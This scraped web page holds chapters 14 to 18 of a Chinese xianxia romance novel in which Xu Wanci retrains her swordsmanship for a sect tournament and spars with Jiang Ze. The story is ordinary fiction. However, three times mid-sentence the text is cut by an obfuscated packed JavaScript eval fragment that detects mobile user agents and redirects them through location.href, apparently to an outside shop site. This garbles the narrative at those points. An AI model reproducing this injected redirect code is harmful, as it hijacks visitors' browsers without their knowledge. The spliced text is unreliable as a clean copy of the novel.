一道灵符从半空中悠悠飘落,准而又准地落在了许晚辞的身前。 自从江泽定居在她的院子对面后,即使是在院子中,即使她并未感觉到正在被注视,她的神态和动作依旧与在其他人面前无异。 好在只是保持清冷淡漠就好,和她曾经的性格有几分相似,并不算太难。 所以,面对从天而降的灵符,她的目光没有分毫错愕与疑惑。 她只是轻轻地接住符咒,动作从容而淡然。 展开符咒后,看着上面的文字,许晚辞目光微怔。 这是——一月后,太清宗宗门大比的邀请函。 太清宗宗门大比,每十年举办一次,奖励丰厚。 只要表现出众,就能赢得各峰主甚至是宗主的赏识,成为他们的亲传弟子。 许晚辞并未在意这些,她的目光怔怔地看着最下方的胜者奖励。 明明有无数修士趋之若鹜的高阶灵宝和顶级丹药,她的目光却偏偏停留在最角落里毫不起眼的‘三叶莲’上。 宗门大比会给前二十名弟子发放奖励。 排名由高到低,可以自行选择。 可真正的奖励只有十个,其中以前三为顶级。 剩下的奖励虽然在普通弟子眼中弥足珍贵,可大都只是一些四五品法器,是用来凑数的存在。 三叶莲便是其中之一。 良久之后,她蓦然闭上了双眼,遮住了眼中所有的情绪。 三叶莲……原来是在这一次的宗门大比中出现的。 原著中,楚青川救了一位重伤太清宗弟子,这个弟子醒来后对他十分感激,便把从宗门大比中得到的三叶莲赠给了楚青川。 所有人都以为那株三叶莲只是一个能静心安神的四品法器,包括楚青川。 直到有一次,他在秘境之中重伤后,神魂与三叶莲发生了共鸣。 这时他才发现,三叶莲是仙尊留下的至宝,能凝实神魂、勘破虚妄。 也正是三叶莲,帮助他走出了重重幻境。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020224|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到这里,许晚辞心跳蓦然加快。 凝实神魂,勘破虚妄正是她如今最需要的东西。 她能在清醒时伪装,可不清醒时怎么办? 修仙界中让人不清醒的手段太多:秘境、幻境,甚至还有入梦一道。 这次试探她的人是江泽,用的是玄冥针。 可下次呢? 若是有人用幻境试探,她又如何才能保持清醒? 如今她周围看似平和安定,实则步步危机。 只要一步踏错,她就要承受江家和整个太清宗的怒火。 她必须在一切意外发生前,把所有的漏洞一步一步填好。 三叶莲,便是补全漏洞最好的答案。 更何况—— 清衍仙尊的三叶莲,是‘万念俱灰’的她捡起修炼最好的借口。 许晚辞缓缓睁开双眼,手中灵气汇聚,在灵符上一字一笔地写下了自己的名字。 下一瞬,灵符蓦然化作漫天光点。 千定峰宗门大比的牌匾上,许晚辞三个字悄无声息地写了上去,淹没在了密密麻麻的文字中。 幻颜树下。 许晚辞全力摒弃着身体的本能,按照自己的理解,一遍一遍地练习着所有万剑宗弟子最为熟悉的归元剑法。 一遍、两遍、三遍…… 左手被玄冥针击中的地方还未恢复,剧烈的动作后,伤处好似灵火烧灼。 许晚辞像是发现了什么,缓缓眨了眨眼睛: 她的灵气游走正确的时候,左手的烧灼感,似乎会更强。 她就这样,一边用疼痛试错,一边磕磕绊绊地练着剑法。 时间不多了。 她必须在一个月内,捡起甚至重新构建这个身体有关剑法的本能。 原身在墨霜圣兰的淬炼下,天赋仅次于男女主,再加上这段时间她身体中无数天材地宝的堆积…… 无论如何,为了活着。 宗门大比,她必须拼尽一切。 即使感觉到了有人注视,许晚辞依旧没有停下手中的动作。 江泽看着她练剑的动作,目光冷澈而嘲讽: 剑心破碎后,连如何拿剑都忘了么? 他根本不在意许晚辞为何会重新拿起剑,又为何会如此拔苗助长地想要把剑招练好。 他双手抱在胸前,愈看眉头皱得愈紧。 最终,他再也看不下去一般,声音冷到了极点: “没有人教过你应该怎么用剑么?” 许晚辞手中的动作蓦然一僵。 她没有回头,只是近乎下意识地回道:“有。” 怎么可能没有呢。 她出神地看着远方,不知想起了什么,唇角扬起了一个清浅的弧度。 这是江泽第一次看到许晚辞的笑,没有疏远与礼貌,也没有满是倦意的平淡。 她只是轻轻的笑着,笑得清澈动人,双眸中盛满了盈盈的微光。 再然后,这笑意就慢慢凝成了怀念与苦涩,眼中的光芒也渐渐熄灭。 看着她的表情,江泽忽然就意识到了那个教她练剑的人是谁。 不知为何,看着许晚辞唇角苦涩的笑意,他觉得格外碍眼。 他撇开视线,声音冷清: “那看来他并不是一个好师父。” 这时,许晚辞抬起头,眼中第一次有了江泽的存在。 她的声音轻而落寞: “不。” “是我不是一个好徒弟。” 15.第 15 章 江泽第一次这样直接的、没任何遮挡的对上了她的视线。 他清楚地看到了她满载着忧伤与怀念的双眸。 她就那样认真地看着他,好像不允许任何人评价那个时候的……清衍仙尊。 教她……练剑么? 他强压住心底的烦躁,漠然地移开了视线: 为了一个人,毁了自己百年以来淬炼的剑心,毁了自己的修炼之路。 愚蠢。 他一挥衣袖,冷着脸就要离开。 就在这时,一阵嚣张的谈论声由远及近,渐渐清晰。 齐志远一手搭在身侧的灵剑上,眼中满是大仇即将得报的快意: “今天,我一定要许晚辞好看!” 这几日,他一直在外执行宗门任务,刚回来,便从小弟口中得知了这两日发生的事情。 许晚辞暗害江少主,前几日去若虚峰上赔罪时,被打成了重伤。 想来是江少主良善,这才饶了她一条命。 不过……重伤的许晚辞,这下看她怎么和他斗! 齐志远想起曾经被许晚辞压在脚底的模样,双手蓦然攥紧。 他身旁的弟子猛地点头附和道:“就是就是,齐师兄这是在为太清宗除害啊!” “许晚辞这种不知廉耻,还暗害同门的恶毒之人,死不足惜。” 说到这里,他对着齐志远一脸吹捧道:“更何况齐师兄宅心仁厚,根本不想取她性命,只不过是想给她一个教训罢了。” “齐师兄真是吾辈楷模!” 齐志远赞许地看了他一眼,随即大步向前走去。 来到目的地后,他看着半掩的木门,眼中有一瞬间的疑惑: 这门,好像是千年泉木? 怎么可能? 他还来不及多想,就透过门扉,看到了正在练剑的许晚辞。 看着她动作凝涩,毫无剑气的模样,齐志远眼睛兴奋地瞪大: “许晚辞剑心毁了?!” 看到这里,他想也不想地一脚把门踹开,眼中恶意弥漫: “许晚辞,今天你落到我手上了吧!” 江泽站在齐志远七步之外的地方,不知是想到了什么,他淡淡地看了许晚辞一眼,随即隐去了自己的身形。 以他大乘期的修为,只要他想,这群人根本不会察觉他的存在。 他收敛了周身寒气,静静地站在那里,漠然地看着院子里发生的一切。 齐志远根本没有察觉到任何不对,他看都没看焕然一新的院子一眼,目光死死地盯着许晚辞: “当时你打败我的时候,没有想到有一天自己居然连剑心都能毁吧?” 一个身受重伤,剑心破碎的废人,还不是任他拿捏。 想到这里,他声音嚣张: “你若是现在跪地求饶,我说不定能饶你一命。” 他看着幻颜树下许晚辞身形纤瘦,面色苍白的样子,满是恶意地眯起了眼睛,一脸猥琐道: “当然,你要是为奴为婢地跟着我,给我端茶倒水,洗脚暖床——” “我说不定还能养着你,让你好好快活快活。” 听着齐志远的话,江泽面色更冷了几分。 他微微侧头,幻颜树下,许晚辞面色依旧平静,甚至练剑的动作都没有分毫停顿。 刚才这群人说的话,好像没有给她造成分毫的影响。 江泽目光带着冰冷的嘲讽: 这样的侮辱…… 除了那个人,她就连自己都不在意了么? 那就让他看看,她能平静到什么时候。 另一边,齐志远看着毫无反应的许晚辞,气急败坏道: “许晚辞,你不要给脸不要脸!” 他身边的小弟也跟着喊了起来,脏话频出: “就是,你装什么清高,当初不是你狗一样跟在楚青川身后么?” “你看看你现在的样子,齐师兄看得上你是给你脸了!” “……” 许晚辞听着他们的咒骂,内心没有分毫反应,甚至还能轻巧地观察自己体内灵气的运转。 只是被骂而已,连一丝伤痕都不会有,又有什么好在意的。 像是领悟到了什么,她运剑的动作似乎比方才流畅了一分。 这时,齐志远看着许晚辞根本没把他放在眼里的样子,眼睛气得通红。 曾经她就是这样,一点都看不起他,就算打败了他,把他踩在脚底,都不记得他的名字。 如今她废人一个,居然还敢如此对他。 他一定,要让她好看。 齐志远拔出身侧灵剑,运起全身的灵气,没有分毫留手地对着许晚辞击去。 许晚辞感受着呼啸而来的剑气,心中没有一丝慌乱,反而满是兴奋。 太清宗宗主在玄冥针一事后,必定重新在她身上留下了防御法器。 以齐志远这群人的修为,绝对不可能冲破防御法器的保护。 他们与她而言,正是极好的喂招人选。 若是在看到宗门大比的灵符之前,面对这些人的挑衅,她只会、也只能漠视。 她只能等着他们动手,然后平静的等待着,等待着死亡或者防御法器被触发。 可是如今—— 为了得到深爱之人遗留在世的‘三叶莲’,她可以日夜不休、不惜一切代价的练剑,自然也可以为了三叶莲,做出以前从来不会做的事情。 她向后退了一步,剑尖一挑,四两拨千斤地挑动了齐志远手中的灵剑,剑气险而又险地从她身侧划过。 不知是原身天赋太好,还是她历经两世,神识强大,她能清楚地看到齐志远每一次挥剑击来的方向,亦能清楚地感受到他一招一式的轨迹运行。 只是…… 她练剑的时间终究太少,对剑招的掌握、灵气的运行都不甚熟练,只能一次又一次,在其他人眼中极其惊险地躲开齐志远的剑气。 不能这样。 今日她最重要的就是习惯与人对剑,她现在能躲,在宗门大比上,她难道依旧躲着所有人的剑招么? 她要的,是赢。 只有在宗门大比赢到了最高处,她才能得到她最想要的东西——活着。 想到这里,她闪躲的动作一顿。 她平静地回忆着方才齐志远的招式,看着齐志远两个剑招之间的空隙,她手中的灵剑毫不犹豫地刺了上去。 看到这里的江泽眉梢微挑,目光中多了一丝兴味。 许晚辞虽然运剑依旧略显生涩,但周身灵气的游走却渐渐变得顺畅。 齐志远发现这一点后,脸色蓦然阴沉了下来。 他没有想到,剑心碎了的许晚辞依旧这么难缠。 看来,他要动真格的了。 下一瞬,他手中的剑蓦然变得阴狠急促,每一招,都冲着许晚辞身上的死穴而去。 只要被剑击中一次,必会重伤。 许晚辞感受着生死一线的危机感,根本没有闪躲。 因为她看到了他身上最薄弱的一点,只要击中那里,她就会赢。 她面无表情地看着往自己胸口呼啸而来的剑气,挥手间,灵气流转,灵剑带着一往无前的剑意,直朝齐志远的左侧脖颈而去。 齐志远感受到颈侧的危机,蓦然停住了手中的剑招,猛地向后退去。 他一脸扭曲: “你剑心不是碎了么,重新练剑的你,怎么可能会有剑意?!” 江泽清楚地看到了许晚辞的剑意,眼中闪过一丝微不可查的怔愣: 每个剑修都有自己要走的‘道’,只有认识到了这条‘道’之后,才能有所领悟,在挥舞剑招之时,领会剑意。 挥舞无数次带着剑意的剑招后,勘破剑意的剑修,才能拥有一颗剑心。 自此,剑心已成,剑道既定。 普通剑修剑心被毁,剑道破碎,要想重修剑意,无比艰难。 绝大多数的剑修,终其一生也无法再次领会剑意。 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037570|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这里,江泽看向许晚辞的目光,冷漠中带着自己都没有察觉的复杂。 他看着再次交手的两人,看着许晚辞灵力运转凝涩的地方,声音清冷: “内隐丹田,三气齐分。” 他话音刚落,许晚辞手中的剑招便流畅了几分,齐志远根本没有反应过来,右胸出被划出了一道长长的剑痕。 下一瞬,许晚辞的剑便搭在了他的脖子上,冰冷的剑意一寸寸地朝着他的脖颈更深处而去。 齐志远无比娴熟地跪了下来,好似已经认错认了无数次一般,声音凄厉地道歉道: “许奶奶!是我有眼不识泰山,是我该死,居然生出了熊心豹子胆……” 许晚辞根本没有在意齐志远说什么,她只是平静地看向一脸痛哭流涕的齐志远,声音是一直以来的温和安宁: “不继续么?” 齐志远对自己几斤几两有数,许晚辞只是刚捡起剑意就能伤了他,再练两次,他焉有命在? 不就是跪地求饶么?这可比受伤强多了! 他可太熟了! 留得青山在不愁没柴烧!! 看到许晚辞没有反应后,他一边磕头,一边小心翼翼地跪着撤离。 江泽根本没有在意他们的动作,他只是漠然地看向许晚辞。 看着她根本没有在意刚才发生的一切,再次舞剑的模样,他指尖微不可查的一动。 这才是一个与天争缘的修士应该有的样子。 情爱与大道相比。 不值一提。 几息后。 江泽坐在暗玉桌前,右手一挥,桌面上便多了一壶千年难得的玉景茶。 他拿起茶壶,不疾不徐地为自己倒了一杯茶。 墨色金文的茶盏中,茶香袅袅。 江泽闲适地抿了一口茶,目光淡淡地看着不远处练剑的许晚辞,时不时出声指点几句。 两遍过后,许晚辞的剑招已经再没有了一丝凝涩。 他微微垂眸,遮住了眼中浅浅的赞许: 出众的天赋,优越的领悟力。 若是没有…… 就在这时,他看着许晚辞左手迟钝了一分的动作,像是想起了什么,倒茶的动作微微一顿。 玄冥针对修士造成的伤害,没有人比他更清楚。 若是其他人中了玄冥针,即使得到仲针作为解药,依旧要有数十天的修养,灼痛感才能完全消失。 时至今日,从没有人能在中了玄冥针后,一日内连续运用灵气超过两个时辰。 而许晚辞不仅修炼许久,还刚与人对战。 想到这里,江泽一脸漠然: 疼到极限后,自然会停。 一炷香时,他神情闲适。 半个时辰时,他目光冷漠。 一个时辰时,他一身寒气地放下了手中的茶盏,茶盏落在暗玉桌上,发出沉闷的声响。 许晚辞手中剑气挥舞,依旧没有任何反应。 江泽冷着一张脸移开了视线: 她的事,与他何干? 只是…… 三息后,江泽声音淡漠: “这院子虽然简陋,但风景尚可。” 他一句话说完,不远处的许晚辞莫说反应,就连手中舞剑的动作都没有分毫停顿。 江泽面色倏地沉了下去: 他冷冷地移开了视线,再也没有看她一眼。 一盏茶后,他皱着眉头再次移回了视线,声音极冷: “急功近利,难堪大用。” 幻颜树下,剑声依旧。 江泽一脸漠然地闭上了双眼,即使不看,也能感受到她左手灵力的凝涩。 又是一盏茶。 他站起身,面无表情地朝着门口走去。 不知为何,他却在门口处停了下来。 听着身后的挥剑声,他声音极冷: “那个人没教你修炼有度么?” 身后的剑声蓦然停滞。 一地静寂。 16.第 16 章 江泽听着身后的静默,面色骤冷: 呵。 不过是一个为了情爱连自己都毫不顾惜的人罢了。 不怕自己修为受损,却偏偏在意那人生前的一句话。 真是可笑。 他冷着一张脸,拂袖而去。 翌日。 幻颜树下,许晚辞如昨日一般,凝气舞剑。 暗玉桌旁,江泽依旧坐在那里,只是面色比昨日更冷了三分。 他周身带着千年不化的寒冰,仿佛能将周围的一切冻结一般,寒意透骨。 可不远处练剑的许晚辞却没有丝毫察觉。 她手中剑意涌动,一招一式都带着浅淡却不可忽视的剑意。 她只是刚刚领悟剑意,再加上对运剑时灵力的把控不甚精细,周身的剑气偶有失控,四散的剑气遍布院子的各个角落。 一道带着剑意的剑气不受控制地朝着江泽所在的方向袭来,然后在他身前三寸的距离处瞬间化为乌有。 江泽身体未有分毫动作,脸色却比之前更冷了几分。 他看着四散的剑气,目光缓缓地停留在了连一片树叶都未曾有分毫损伤的幻颜树上。 三息后,他移开了目光,声音带着彻骨的寒气: “气凝中丹,右移三寸。” 明明是晦涩难懂的指点,可许晚辞只是回忆了一下脑海中的记忆,便能按照自己的理解,在一瞬间将灵气运转到正确的方向上。 左手处传来的烧灼感让她的注意力愈发集中,手中舞剑的动作也愈发流畅。 她开始真正意义上的领悟归元剑法中,每一招式的存在与演变。 江泽看着已经完全沉浸在归元剑法中的许晚辞,微微垂眸遮住了眼中所有的情绪: 这般天赋与领悟能力,若是勤加修炼,不为外物所动,前途不可限量。 可惜—— 他拿着茶盏的手微微用力,脸色变得比之前更加难看了几分。 许晚辞根本没有在意他的想法。 她就那样,平静地近乎执拗地,练着归元剑法。 一遍、两遍…… 不知几遍过后,她一招一式间忽然带上了一种奇怪的韵律。 她的动作犹如落雪一般,每一次挥剑,都轻到了极点,却偏偏带着一种不给自己留分毫退路的决绝与凌厉感。 江泽悄无声息地放下了手中茶盏: 这是所有剑修终其一生都想要触碰的顿悟之境,是对一套剑法最真彻的领悟。 只是…… 许晚辞如今还未完全掌控灵力运转,此时顿悟,险大于得。 江泽看着运剑时灵气运转越发急促的的许晚辞,指尖有节奏地轻点着暗玉桌。 一息、两息、三息…… 在她失控的前一瞬,他指尖微动,一道暗色的灵气直冲许晚辞右手而去。 许晚辞只觉右手手腕处酥麻,灵气有一瞬间的停滞,手中的动作也跟着停顿了下来。 她看着持剑的右手,本来稍显恍惚的目光一息之间便已经恢复了平静。 意识到刚才发生了什么后,她抬起头,刚想说些什么,便看到门口处袭来一道燃着火焰的灵气。 灵气伴着一声满是怒意的质问,直冲江泽而去。 “你在做什么?!” 楚青川在知晓许晚辞受伤后,忍了半个时辰,实在没有忍住,下意识地来到了万剑锋。 他还未到小院门口,便看到了江泽对许晚辞动手的那一幕。 他瞬间凝聚了半身的灵气,千丹变中的千寂焰毫无保留地对着江泽呼啸而去。 江泽目光依旧在许晚辞身上,他端着茶盏轻抿了一口,漆黑的灵气瞬间将火焰缠绕,吞没。 下一瞬,丝丝缕缕的灵气朝着楚青川倾巢而去,不过几息,便将他捆了个严严实实。 千丹变是能让楚青川越级对敌,但最多也只能让金丹后期的他与元婴修士交手。 他与大乘期的江泽之间,相隔如同天堑。 江泽看都没有看被灵气吊在半空中的楚青川一眼,就好似这个人根本不存在一般。 楚青川被灵气缠绕,动弹不得。 他看着江泽根本没有把他放在眼中的模样,脸色涨得通红: 自从成为太清宗宗主亲传弟子后,哪怕是太清宗众位长老,对他的态度都有几分重视。 已经很久很久没有人敢这样羞辱于他。 楚青川强忍着心中的难堪与怒气,咬着牙道: “你为什么要伤许晚辞?!” 他认出了江泽的身份,知道他不可能会将他如何后,声音也有了几分从容: “许晚辞虽然伤了秋宁,可她……事出有因,又已经用墨霜圣兰弥补,已然两清。” “昨日您已经用玄冥针伤了她,还不够么?” “为何今日还要对她动手?” 听他说了半天,江泽终于有了一丝反应。 他淡淡地扫了他一眼,像是才知晓他是谁,眉梢微挑: “楚青川?” 楚青川感受着江泽对他的轻视,缓缓调整自己被挟制住的灵气,千丹变的千寂焰,悄无声息地消磨着捆绑在他周身的灵气。 江泽目光根本没有再他身上停留分毫,他只是目光淡淡地看着欢颜树下的许晚辞,声音淡漠: “你如今不陪着秋宁,来这里做什么?” 楚青川的身体微不可查地僵硬了一瞬。 他缓缓松开了紧攥的双手,道: “我与许晚辞有同门之谊。” “同门受伤,伤因还与我有关,我自应前来探望。” 江泽眼睛微不可查地眯了一下: 同门之谊? 他忽然想起了江秋宁曾说过的话: 许晚辞曾经把楚青川当成那个人的转世。 对他……一往情深,极尽讨好。 他看着不远处定神领悟剑意的许晚辞,拿着茶盏的手缓缓用力,目光是前所未有的晦暗: 转世……讨好? 江泽侧过头,第一次正眼看向楚青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044890|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川: 呵。 他也配? 一瞬间,缠着楚青川的灵气蓦然加重,他身上被勒出了一道道血痕。 楚青川毫无动作,直到下一瞬,通天的金光乍起,他身上能抵挡渡劫尊者一击的防御法器被触发。 黑色的灵气一瞬间被金光吞噬殆尽。 得到自由的楚青川手中黑焰闪烁,在半步神器炼神书的帮助下,一往无前地朝着江泽袭去。 江泽左手一挥,一道深的已然黑不见底的灵气蓦然对了上去。 另一边,许晚辞根本没有在意不远处两人的争斗。 小叔与侄女婿之间的家庭矛盾,和她一个外人有何干系? 如今她最重要的事情,就是精进修为。 留给她的时间不多了。 更何况,她如今的人设,只需要为了练剑不顾一切便好。 其他的,与她无关。 她回忆着刚才在顿悟之境中领会到的剑意,再次练起了归元剑法。 一声闷哼响起。 楚青川被灵气击中胸口,狠狠地飞了出去,口吐鲜血。 如今他身上,脸上都是血痕,虽然伤势不算太重,但看起来格外凄惨。 江泽听到楚青川的痛呼声,余光扫了一眼正在练剑的许晚辞。 看到她剑招没有分毫波动后,他步伐闲适地后退两步,重新坐了下来。 楚青川捂着胸口,下意识地看向许晚辞。 看着她练剑时平静而又专注的神情后,他恍然意识到,从他踏入这里的那一刻起,她的目光,从未放在他的身上。 明明之前只要他一出现,她的眼中便再也不会有其他人…… 可如今,即使他身受重伤,她也不会再多看他一眼。 在她眼中,没有了仙尊转世身份的他,大抵只能算是一个陌生人吧。 楚青川内心涌上一股前所未有的酸涩感。 他知晓许晚辞并未被江泽所伤,声音带着莫名的复杂与疲惫: “是我误会少尊了,还望少尊见谅。” 就在这时,收起灵剑的许晚辞声音像是在叹息: “楚青川。” 听到她的声音,楚青川眼睛蓦然一亮。 他猛地抬起头,看向许晚辞,眼中是他自己都未察觉到的期待。 另一旁的江泽举盏的动作一顿。 下一瞬,许晚辞的声音轻到了极点,也疲惫到了极点: “炼神书,此前从未有败绩。” 楚青川蓦然一怔,胸口涌起的复杂情绪让他忍不住低下了头: 就算他身受重伤,就算他生死一线—— 她真正在意的,却从来都只有那一个人。 楚青川再次看了许晚辞一眼,随即落寞地转身,捂着胸口离开了万剑锋。 暗玉桌边,江泽身上的气息,比方才楚青川来时还要冷彻三分。 他看着周身满是倦怠与伤怀的许晚辞,冷冷地移开了视线: 炼神书。 呵。 17.第 17 章 小院再次陷入了一片静默。 江泽冷着一张脸,周身寒气四溢,冷得似乎要将周围的一切冻结。 幻颜树下的许晚辞恍若未觉,她只是近乎执拗地,再次拔出了手中的灵剑。 几遍过后,一招一式中,她终于彻底掌握了灵气的运转,每一次挥剑中,都带着真切的剑意。 剑声潇潇,心之所动,剑意所指。 江泽看着不过四个时辰就已经能完全领会归元剑法的许晚辞,目光寒凉。 此时,今日许晚辞练剑的时间,已然超过了两个时辰。 他冷冷地扫了一眼她左手的伤处,随即淡漠地移开了视线。 又是一个时辰。 江泽看着已经能将归元剑法随心而动的许晚辞,指尖微动。 从未在意过许晚辞想法的他第一次问道: “你重新持剑,是为了什么?” 那个人已经神魂俱灭百年,永无重回之时。 许晚辞明明知晓,却为何会在这时,这样不计后果、不顾一切地选择重铸剑心? 又一遍归元剑法过后,许晚辞缓缓地收起了手中灵剑。 她声音平静中带着毫不迟疑的坚定: “赢。” “我重新持剑,只为了赢。” 赢得那株三叶莲,赢得那个活下去的机会。 听着她的回答,江泽的眉头微不可查地舒展开来: 看来在许晚辞心中,总归有些事情,足以重过那个人。 他行云流水地为自己倒了一杯茶,轻抿了一口后,声音冷而清雅: “想要赢,固步自封可远远不够。” 江泽站起身,不疾不徐地来到了许晚辞身前。 他扫了一眼面色苍白的许晚辞,看到她眼底平静之下深埋的伤怀和死寂后,他忍住心中隐隐升起的不适,淡淡道: “与人交手,才能知道自己弱在哪里,如何能赢。” 许晚辞平静地抬起头,目光定定地看着他。 江泽看着许晚辞眼中他的倒影,微不可查地勾了一下唇角: “我会把修为压制到金丹。” 他左手轻轻地接住了一片幻颜树的落叶,声音从容而清冷: “你不是想赢么?” “那便试一试吧。” 许晚辞指尖微不可查的一动。 这几日来,她早已经一点一点让自己入戏,听到有关清衍仙尊内容后的反应,已经快成为了她的本能。 至于为什么要参加宗门大比,又为什么要赢,亦是因为他,因为他的那株三叶莲。 她这段时间的作为,早已经与清衍仙尊绑定。 这时她根本不需要把她要做的事情闹得人尽皆知,她只需要按照自己的目标,拼尽一切走下去便好。 所以,她不需要在意江泽要与她交手的缘由。 想试探她的剑意也好,以交手为因戏弄她也罢,都不重要。 重要的是,她能从交手中,得到什么。 她浓密的睫毛微微颤动,声音清冷: “那便有劳少尊了。” 话音刚落,她手中的灵剑带着一往无前的剑意,朝着身前的人击去。 江泽虽然修为压制在了金丹,可他的神识和修士本能却远超许晚辞。 他看着她虽然凌厉但却显眼到不可忽视剑招轨迹,以指为剑,轻轻一敲。 许晚辞手中的剑不受控制地移开了方向。 她面色未有分毫改变,手顺着移开的方向挽了个剑花,卸去力道后,剑尖直冲江泽的侧腰而去。 几个回合后。 即使江泽一直有所留手,即使许晚辞一直处于下风,却依旧能险象环生的在江泽手下支撑着。 江泽看着这样的许晚辞,眼中有赞赏一闪而过。 才重新领悟剑意不过两天,掌握剑意下的剑法不过两个时辰,就能融会贯通,在他手下走这么多招。 这种天赋,放眼修仙界,也算是顶尖。 若是她剑心未曾被毁,又一直专注修炼…… 想到这里,江泽手中动作未曾停顿,目光却晦暗了几分。 与他交手的许晚辞并非只是一味闪躲抵抗,她正在全神贯注地观察着江泽的动作,等待着哪怕是一闪而过的破绽。 对于她而言,这几日与其说是在练剑,还不如说她是在一点一点摒弃这具身体的本能,用自己能够适应理解的方式运行灵力,领悟剑意。 上一世时,她演过许多打戏,因为位卑人轻,她的戏份不说是真刀实枪,但却也需要拳拳到肉。 她那个时候,根本没有办法承担受伤带来的种种后果。 为了减少自己受伤的可能,在对战时,她只能调动自己所有的精力去观察对手攻击的轨迹。 这种专注力,到了修仙界后,在身体天赋和神识的加持下,变得更加惊人。 所以,她才能击退刚刚来找她麻烦的齐志远。 所以,她才能在身为少尊的江泽手下,坚持这么久。 许晚辞感受着自己已经濒临枯竭的灵力,面色愈发冷静,就在一次招式的衔接处,她忽然察觉到了一丝破绽。 一丝微弱到甚至可以忽略的破绽。 她没有时间等待江泽下一次的出错,为了赢,她必须赌。 赌是江泽的灵气先击中她,还是她的剑透过那丝破绽,刺伤江泽。 总归现在,她付得起重伤的代价。 面对袭来的灵气,她不闪不避,右手的灵剑从下至上,险险破过江泽周身防御最微弱的那一点,直朝他的命门而去。 江泽面色一沉,看着马上就要击中许晚辞左手的灵气,他右手一动,灵气险之又险地从她左肩划过。 黑色的灵气将她的肩侧的蓝衣腐蚀出了一道长长的黑痕。 而许晚辞的灵剑,却停在了江泽身前三寸的位置。 她缓缓放下手,根本没有看自己的左肩一眼: 她还是不够快。 “许晚辞。”江泽的声音带着深深的寒意,“你知道我若没有收手,你会怎么样么?” “三日内,你的左手若是再受伤,会废。” 许晚辞闻言面色没有分毫波动,她稍显疑惑地看向他: “但不会死。” “还有可能赢。” 听到她的回复,江泽脸色愈发冰冷,他声音不疾不徐: “所以,你方才说的重新持剑为赢。” “是指为了赢,重伤也可,被废也可。” 大道三千,以她天赋,走哪一条都是一片坦途。 可她想走的,偏偏是这种注定会伤痕密布,与自毁无异的剑道。 他的声音蓦的变冷: “你知道这种剑道的后果么?” 许晚辞抬眸看了他一眼,眼中却没有任何情绪,只有一片 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先前微弱的剑意,在一次次的淬炼中,变得一点一点凝实起来。 江泽虽然没有留手,但动手时却每一次都绕过了许晚辞被玄冥针所伤的左手。 他看着许晚辞即使生死之际依旧平静到了极点的样子,目光带着冰冷的晦涩: 有求死之心的人,他也见过,可面对死亡时,修士的本能依旧会让他们做出抵抗。 可许晚辞不同。 她是真的……不惧怕死亡。 * 若虚峰上。 刚处理完江家内务的江秋宁一出殿门便看到了楚青川身上的伤痕。 她皱着眉头迎上前去,声音带着一丝担忧: “青川,你这是怎么了?” 楚青川下意识后退了一步,伸手遮住了丹药后依旧留存的黑色伤痕。 他声音稍显僵硬:“只是切磋罢了。” “我先去调息。” 江秋宁看着他的背影,若有所思地垂下双眸: 以楚青川的身份,太清宗中根本不会有人与他动手至此。 况且他身上的伤痕—— 是小叔的灵力所致。 她有些不悦的皱起眉头: 楚青川是她选择的道侣,无论有无仙尊因果,他都是那个最可能达到顶峰的人。 小叔今日作为,有些过了。 她略一思索,便转身朝着万剑锋走去。 墨雨阁与许晚辞的院子相对而望。 来到墨雨阁前的江秋宁几乎是下意识往另一旁的院中看去。 院子最中央,许晚辞手中灵剑直插地下,身形狼狈的单膝跪地。 她身上有着几十道伤痕,蓝衣上带着斑斑血迹,苍白的侧脸上带着红色的血痕,看起来就像是一个已经布满裂痕的琉璃,稍一触碰,就会碎裂。 江秋宁的瞳孔蓦然放大。 她几乎是一瞬间就来到了许晚辞身边,将她牢牢护在身后。 她抬起头,看着七步之外的江泽,声音带着后怕的颤抖: “小叔。” “您伤楚青川就算了,可您怎么能……” “对许晚辞动手?” 18.第 18 章 江秋宁比谁都清楚江泽的狠厉与强大。 她整个人严严实实地挡在许晚辞身前,手指微微一动,下一瞬已经握紧了能抵抗渡劫期尊者一击的灵符。 此刻她根本不敢分神看身后的许晚辞一眼,生怕一个疏忽,她就被江泽所伤。 她深吸一口气,强忍住心中对许晚辞伤势的担忧,抬起头定定地看着江泽: “小叔,您为什么要伤她?” 不等他开口,她就咬着牙继续道: “晚辞她身体多次受伤,前日玄冥针的伤势,至今仍然未曾痊愈,您身为大乘修者,怎么能……” “怎么能这样对一个重伤之人?” 在江秋宁心中,许晚辞本性善良,在得知仙尊之事后,更是万念俱灰。 是她和宁宗主等人,用尽无数灵宝,才堪堪地护住了她的一条命。 这样的许晚辞,怎么可能会对江泽做什么。 所以,一切都只能是江泽的原因。 就如同前日的玄冥针。 